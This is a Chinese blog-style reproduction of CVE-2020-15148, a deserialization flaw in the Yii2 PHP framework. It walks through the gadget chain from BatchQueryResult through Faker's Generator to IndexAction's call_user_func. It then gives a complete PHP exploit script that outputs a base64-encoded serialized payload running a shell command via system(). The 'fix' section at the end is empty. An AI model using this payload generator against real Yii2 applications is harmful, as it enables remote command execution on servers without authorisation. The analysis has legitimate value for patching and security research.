CVE-2020-15148漏洞复现

参考资料

https://xz.aliyun.com/t/8307

前言

漏洞编号:CVE-2020-15148
漏洞版本 < 2.0.38
Download:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

漏洞复现

漏洞位置:www/vendor/yiisoft/yii2/db/BatchQueryResult.php

1
2
3
4
5
79    public function __destruct()
80 {
81 // make sure cursor is closed
82 $this->reset();
83 }

BatchQueryResult类的魔术方法__destruct调用了reset方法,继续跟进reset方法。

1
2
3
4
5
6
7
8
9
10
89    public function reset()
90 {
91 if ($this->_dataReader !== null) {
92 $this->_dataReader->close();
93 }
94 $this->_dataReader = null;
95 $this->_batch = null;
96 $this->_value = null;
97 $this->_key = null;
98 }

代码92行调用了_dataReader属性的close方法。众所周知,反序列化类的属性我们是可控的,所以此处的_dataReader属性调用了不可访问的close方法的话就会触发__call魔术方法。

全局搜索可用的call方法

其中www/vendor/fzaninotto/faker/src/Faker/Generator.php中Faker类的call方法可进行调用

1
2
3
4
283    public function __call($method, $attributes)
284 {
285 return $this->format($method, $attributes);
286 }

跟进format方法

1
2
3
4
226    public function format($formatter, $arguments = array())
227 {
228 return call_user_func_array($this->getFormatter($formatter), $arguments);
229 }

虽然这里有call_user_func_array函数可以利用,但是$arguments变量不可控,所以利用此处作为一个跳板寻找其他链继续构造。
正则匹配可利用的函数call_user_func($this->\w+,\s?$this->\w+,(记得开启正则匹配)这条正则只匹配函数内的参数(形参)是成员属性的。

利用IndexAction类的run方法来构造命令执行:(属性都是可控的),最终的pop链大概是这样子的,图比较抽象。。能理解就行

1
2
3
4
5
6
7
8
76    public function run()
77 {
78 if ($this->checkAccess) {
79 call_user_func($this->checkAccess, $this->id);
80 }
81
82 return $this->prepareDataProvider();
83 }

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;

public function __construct() {
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}

namespace Faker {
use yii\rest\IndexAction;
class Generator {
protected $formatters;

public function __construct() {
$this->formatters['close'] = [new IndexAction, 'run'];
}
}
}

namespace yii\db {
use Faker\Generator;

class BatchQueryResult {
private $_dataReader;

public function __construct() {
$this->_dataReader = new Generator;
}
}
}

namespace {
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

漏洞修复